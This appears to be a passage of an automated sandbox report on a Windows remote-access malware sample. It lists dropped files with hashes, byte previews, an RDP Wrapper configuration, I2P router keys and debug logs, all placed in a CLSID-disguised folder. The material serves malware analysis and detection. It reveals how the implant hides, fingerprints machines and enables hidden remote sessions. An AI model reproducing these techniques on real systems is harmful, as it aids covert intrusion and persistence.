SHA-512:	2DBEB9B8F5C39AEBE59F77DEF6C1D85C36FF3952B7493BD2A0371376F915E1756F7DF99CEC9410F4601E7D504CE20940C3C6DE54CC139EC32BDB407F360FFE51
Malicious:	false
Preview:	.{.:...&.S]..s.7.....p.$...e...qY\|.AH.:.V.2D.x=4N.....p...#...e...)L...P.M.....cn......*Bf...{2..../..I3b.../.J.+...l...._r...M.L.`..!!...{....8.#x..tWp.]...&.1'...-.....@.#..".=r5[.h.."...6......v...D...3A.>.,.y...'Z8.j3.P.u9...7.V>..w.e.$...p{..W.....P.o....N......O2.....q.....s./.v6...P7Y..E4j.k..?.....A.PJ\......4.....'. ..Z......Q...N..}..U.j......_. ..=p}/la.c....q.QM......'.<5.........Z..D~.<o.........`...-..[..X. .9D...DA.pkzf......S.LL.7Y....L..1.=..{...S,1.6Z&...8..X$....

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ntcp2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	6.1374920011103145
Encrypted:	false
SSDEEP:	3:aTOlWr1R0TOqNYT83PdKVtFfFOBz:aTOlWhR0BNYYoHlFuz
MD5:	7E643A1E79807DEC9A6F435244F2F9EE
SHA1:	ACFDB9C7509E9780153BB974C4E2DFEB1A4D0CB0
SHA-256:	9DE7F51DBFC362ADF812CC375FFE8FAC3C5A86BBA642D52243E9448367E6AF65
SHA-512:	CD7E72BD0678305062E84102223B92D643B670FC8CCC9F57DC375FC5383C6CF8564A5D512FBE9C256063F30B5792020D7FE25E9D0E92502796CC808F9A938DF7
Malicious:	false
Preview:	....=B...C..\.Rn.......]&.......Z.G...ijaN....\|...9.<._.&.z..qF.3V..-..t.$.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.info

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	6.595283826963492
Encrypted:	false
SSDEEP:	24:TV3CV3CV3CV3CV3CV3CV3CV3CV3CV3exD97bnqI73WHn:9xbndrWH
MD5:	5CB538588D133C69210A503B9C8F4031
SHA1:	6706378F1DF214BA74672880AC3A9F38041AB9B5
SHA-256:	3101EEE0B514EF0A87F6F5D85BC62F49C1ACC37567C12456BC8C7A2653EDF49F
SHA-512:	DD8594516A84A7FD07852D789FFFFFD686079496CFA61A160BDD42E14C19F08628FEA48461D9337EE9981F509D773031E30A13341CB84B7AC1A1C51E25F9D278
Malicious:	false
Preview:	lJ...&.R.j.?gY...u........4w.....)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_ZC..^..q...F.......P..~kn4...9...........&O.............NTCP2.s.host=.8.46.123.33;.i=.sbpxRoszVoOILboCdBwklg==;.port=.9290;.s=,suCQGj1C2v6EQx6YXMxSbgnejtCGiNG7GrNdJo~79AE=;.v=.2;..........SSU2...caps=.BC;.host=.8.46.123.33;.i=,SQJAXjEGt~KRAvnX~UCYtPV1r4XBu5giXYjffalVtM0=;.port=.9290;.s=,lBPMe0pRAMO786cBQ~yWslh-egtgWG~I~OKMHvjdB18=;.v=.2;..,.caps=.LR;.netId=.2;.router.version=.0.9.60;......hfA....".\;.....zd!...H..[.Hj..H[.r.BD...XI.p.......z..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	455
Entropy (8bit):	6.030445476463723
Encrypted:	false
SSDEEP:	12:TV3PqV3PqV3PqV3PqV3PqV3PqV3PqV3PqV3PqV33uQc5Vwgud:TV3CV3CV3CV3CV3CV3CV3CV3CV3CV3eq
MD5:	68A2AAF4D66EF76254B9793978FC5BAF
SHA1:	16CD7BEDA3381490889DB8D2C29B5B5FE745D14A
SHA-256:	C4A019104177864D0DF038C49F136FBC855EE70F3454B01600A5A3BCF04ABA2C
SHA-512:	6D569BC7CCD23F28E18A42A0843DCD2DE0ACEE07646CCBB137CBFF219F32771BAD40E1D6D96CEB384BCE6866FF4E9434711AE20185B870D2EABA5F91C9A9DAEE
Malicious:	false
Preview:	lJ...&.R.j.?gY...u........4w.....)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_..)-b..-U{o..S-{...w_\hI;_...d_ZC..^..q...F.......P..~kn4...9...............hB.Q...r'.Hd.....fk..7.z<......E....!v..0D.@'...A.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ssu2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	96
Entropy (8bit):	6.256735677759421
Encrypted:	false
SSDEEP:	3:cw08J8pfuH+JPVrXKj6C5plQuuAVXfh:cB8uGe1VrXKj6OplQuuWp
MD5:	99091C5B8F4818778AFAE130FF71481C
SHA1:	D1C18A8BF6CA7005E2CEB5A27BCF09C68CDB5F56
SHA-256:	619212AC75225A30AB31125BD4CE62C400D7D9E124A9238933BE18D89E7E5DD6
SHA-512:	369AA9012C960EEF37D8B274CC89F952B1A1EFFB6E26249141B9C9BFAF78A0E4F59462FF8F4409A6CC31E3F411E4C215A01A5361E93285FFFF955A29C1EBD281
Malicious:	false
Preview:	...{JQ....C...X~z.`Xo......._..Z.p-..$..n.v/.......m.u}....vI.@^1.......@...u....."]..}.U..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674868432808522
Encrypted:	false
SSDEEP:	196608:DiRu5DnWLX6Cs3E1CPwDvt3uF8c339CME:DiRsCKCsU1CPwDvt3uFd9CME
MD5:	676064A5CC4729E609539F9C9BD9D427
SHA1:	F77BA3D5B6610B345BFD4388956C853B99C9EB60
SHA-256:	77D203E985A0BC72B7A92618487389B3A731176FDFC947B1D2EAD92C8C0E766B
SHA-512:	4C876E9C1474E321C94EA81058B503D695F2B5C9DCA9182C515F1AE6DE065099832FD0337D011476C553958808C7D6F748566734DEEE6AF1E74B45A690181D02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...).t]......R..0........................................P............`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata..`>...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	6.229509810228039
Encrypted:	false
SSDEEP:	1536:uICj06A88ADD9QIlXlQhnJqI1I5npfinMC0eH:xCj06A8J1/sJa5pfinMC0e
MD5:	4E320E2F46342D6D4657D2ADBF1F22D0
SHA1:	A5ACFE6397DFFC61D243206885C389EA05428755
SHA-256:	7D4A26158F41DE0BFD7E76D99A474785957A67F7B53EE8AD376D69ABC6E33CC8
SHA-512:	E8E044FD17B36D188BB5EE8E5F7BFC9AECC01AB17E954D6996B900BC60D6D57AFD782C7E01DF7CC76A84E04CE16F77FE882F2D86E5113F25C1C3D385CFAE37A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.....X.................@....................................\.....`... .................................................P............`..X...........................................`B..(....................................................text...............................`..`.data...............................@....rdata...P.......R..................@..@.pdata..X....`.......0..............@..@.xdata.......p.......:..............@..@.bss....P................................idata..P............D..............@....CRT....`............V..............@....tls.................X..............@....reloc...............Z..............@..B................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4672
Entropy (8bit):	5.346929508396374
Encrypted:	false
SSDEEP:	96:idHwWdJ9VjyHzHH0Hf0HaSHRmHu5SHSapmHSm5SHr8mHOn5SHfSHbmHX5SHfmHHq:Az3TWTn0/06SIO5SVAz5SLnc5S/SS35c
MD5:	C64B5D0247AE347E1282197C83BEACBE
SHA1:	5B3CB234F5DD2329B373AF301C9C5CE6749AAE62
SHA-256:	1EBAECAB1A967F0762410199A24FC9A36D1F4AF83504515B9F1D8FE32E130196
SHA-512:	A4431AC2D3A4C8BFEE3D893A2C4490E3D7151E55ABCE1A60ABA193FA5ACB85407BD42DFC7E0A7A767A8EED984AA389979BEA13870B0FB8B74BD5680771B4E145
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[E] (package_install) -> Failed(pkg_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,tgt_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,err=00000003)..[I] (fs_file_read) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.2884725801282775
Encrypted:	false
SSDEEP:	1536:wPwNKEKbLqYQtCwCxJtpyYNPvo3cxwNn6anP8XOCYA8CSs8qgu06wCYA8CSs8qgm:gwnKvqTaxJtpRP7wNbnP8Xf
MD5:	91A0DD29773FBFB7112C5FCFF1873C13
SHA1:	E1EAF1EFB134CAA7DA5AAA362830A68AB705C023
SHA-256:	AE2D023EBBFEEFD5A26EAA255AD3862C9A1C276BB0B46FF88EA9A9999406D6B6
SHA-512:	F7A665A218BB2CCEC32326B0E0A9845B2981F17445B5CB54BBA7D6EF9E200B4538EBD19916C2DACB0BBE1B409C14A499B23BA707874AE1F1B154279C90DC33DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................@......K.....`... .........................................^.......................T............0..h...............................(.......................`............................text...X...........................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss....@................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.5035060062410395
Encrypted:	false
SSDEEP:	24:CFAGHr5lGyclY7GfyE7Bf7cRE9FLxJN4Jw0ERBXYfHeAOp:CFdHr54yclD7hcm9FLZ4WNGeD
MD5:	2FD6406BE7DAB0162F0D1730855E7427
SHA1:	83D19EEF6215E54DD1293918C570B00EE95D0B00
SHA-256:	B1EC3A8D723B11A58292E8BADEA469CD657034879A3D206EDB92031D822844D9
SHA-512:	1286EDCDEC7E72D3BC457A7F599A5267268133AA221AECF6E23C220E5BEA030B39796F099C065BB48E80CF636CDE04C8BD649EF2FFCB7ECD0F6330E925C5D467
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffb22769d36)..[I] (tcp_connect) -> Done(sock=0x358,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.313152038164236
Encrypted:	false
SSDEEP:	3072:Ex6tEkLvf8H5KRjus59IoZzhoesVR8ssT/nv:mEJ5qoZzfTX
MD5:	C89542ABA45CE1084760AE8DE6EAE09E
SHA1:	603560A3E4B6A8CB906CA98C907373ADBF4D3B1C
SHA-256:	1B6E559DC0CB37EBB2311C7CBF01B039F0DC1C3EC6DA057837451A531B1E2CB0
SHA-512:	60A0EB698AFE25CDDDB133FC937FEE478F1E0F8AF72B825C19BB2D544FAFCC217BABF6DD3D01704A106677E92AAE3DD57538E34731C950DA17F5715DF0732FF6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.:..........\.........,.....................................,j....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text...(9.......:..................`..`.data........P.......>..............@....rdata.......`.......@..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	5.501893800293231
Encrypted:	false
SSDEEP:	24:CFAGH75lGyclY7GfyE7Bf7cRE9FLxJN4Jw0dk1RDobXY1zYcRAENmMeAOp:CFdH754yclD7hcm9FLZ4W+JcLMMeD
MD5:	0E38F5C21FA0EDEB4572E2E9003AC989
SHA1:	4F4C26851C0EBE18681903263CEBF8114D1F1C34
SHA-256:	0CB7C4B55F53EB2678274380D61845FF0F65C5DDAD3966BE0346CB8AA3EDB233
SHA-512:	7C8E1A09FCFD2CA24AD7A9695F776AF8BB34F32963CEF680D3DB8CC87EFD9BD66C34FD1B105CB54497F5EC1F24905CED420412C8230AE0A3833FF3DBA45193BE
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[I] (scm_init) -> Done..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (proxy_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffb2273

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.277217301921545
Encrypted:	false
SSDEEP:	1536:UsmIeUIfJAH791hpVMjqZm4S53kp21ahrvffvTn+33333333333333333333333L:I5fJAHZ1Kj7hkUYr3TlX8Y/biF
MD5:	D0F0423AEEE6B6FF6754D860603D46D0
SHA1:	A06F3B9605B3398BA68154DA39ADF26DDEE41743
SHA-256:	81DA68F52DF2ED997C374CCBEFC56849650770FB30EDA8F202BBC7FC3FE6A51D
SHA-512:	C30FAEDE4520FF1C859B8B39E351112CFC60DAECA98B1359F9F86AB79BCFB996BA84F35A5B178B4ABEC66152864720E58F741AE13D06B64913E240A1F9E6A633
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................P............`... .........................................^....................................@..p...............................(...................X................................text...8...........................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2069
Entropy (8bit):	5.46905637754495
Encrypted:	false
SSDEEP:	48:CFdHr+54yclD7hcm9FLZ4WlV5ZR5+sR55L+5HR5ik85OKQeD:idHxNdJ9VjFD
MD5:	B8CDE7B38E0BE506C5A6E613766F42DA
SHA1:	927CFDB2726EEBEBD4D0151CBB1383298EF3D207
SHA-256:	8933A4E45AA226869D6F4858FFE43B961E58B6457FBBB84D7A0D5603CAEFAD35
SHA-512:	B0BC1DDC9B1FDF4AAB9294F12DFE8780EF5FF510B76E7A4CC7A189550F1B874B21AF9A1B29D2C100357A24426715E12B91BA22B19CD459D46EA20F9F9A8F238A
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (sam_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffb2270e1cc)..[I] (tcp_connect) -

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.2290767543196575
Encrypted:	false
SSDEEP:	1536:/PvW2FSiFAp7A1VBYj6PemyulDw02PijNFnRbPEMBI:/nW6SiFAp7A1VBYj6Pemyu1F2IFRbcM+
MD5:	4C086C8F48C4D0F8C20410E60340AEC9
SHA1:	77481360A98F3018F92A57B66E1DC7A6EC0DD0E8
SHA-256:	0A8FCB54DF736100F5792B6CE57AE165553712CB1E5701E4E0DD7620E6089F59
SHA-512:	CDBCC2FD4195A6FA5A343234A745E3E7A558F68A496D376FDF6A86D585C9FA39A64F0CEB20A2D2E6E30E59BA46F62493E500D6EEB033FA981DAA60F00EE42F14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....`......\...............................................R.....`... ..............................................................`..................d............................I..(......................h............................text...............................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	441513
Entropy (8bit):	5.449545529389614
Encrypted:	false
SSDEEP:	768:yUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4m7N:eJGYB33L+MUIiG4IvREWddadl/Fy/k9u
MD5:	5FCB4B6362E04A8D1C6ECD33AD246FB9
SHA1:	E198D3E81C4B8527451133BCEAFA799D2115A8BB
SHA-256:	060EE1BCB5817709F2D73BB1762C5ABCA09FAF5271E8F90503A84F9657ECDCD9
SHA-512:	B5839D79D1A34DA86BA9B34A9105F7CC05E642C99D84D55E3E88833544DCE9FDD840F7ABF0F09CD4470734F24CA7C600C3C64E4041A4481806590D3B7A6A032D
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-08-21..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\update.pkg

Download File

Process:	C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe
File Type:	data
Category:	dropped
Size (bytes):	10451376
Entropy (8bit):	6.708065758846917
Encrypted:	false
SSDEEP:	196608:diRu5DnWLX6Cs3E1CPwDvt3uF8c339CMEhB:diRsCKCsU1CPwDvt3uFd9CMEX
MD5:	312704A6232D74733DE04C6E00F8CF21
SHA1:	2B4820AC82C5B851464D6563FA6EA0CB3E3629C2
SHA-256:	8D11890F2B70BA2ABB4B017B05F3BB1D20ECA6AD3EB84F0251E0857C77682C9B
SHA-512:	5C32B9A8267C57CE640E7612BDECD7D7EC67F4E0AB48DD97A53373D220765AB234BC28779F524E788E1E03D8857CCD7755A22F19E1A34AE36FD6F33444016F01
Malicious:	false
Preview:	_W&T....cnccli.dll.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........."h.............................P......7F....`... .........................................^....................................@..l...........................@...(.......................h............................text...(...........................`..`.data........0......................@....rdata..`d...@...f...(..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B.....................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04b5lv0e.uv3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
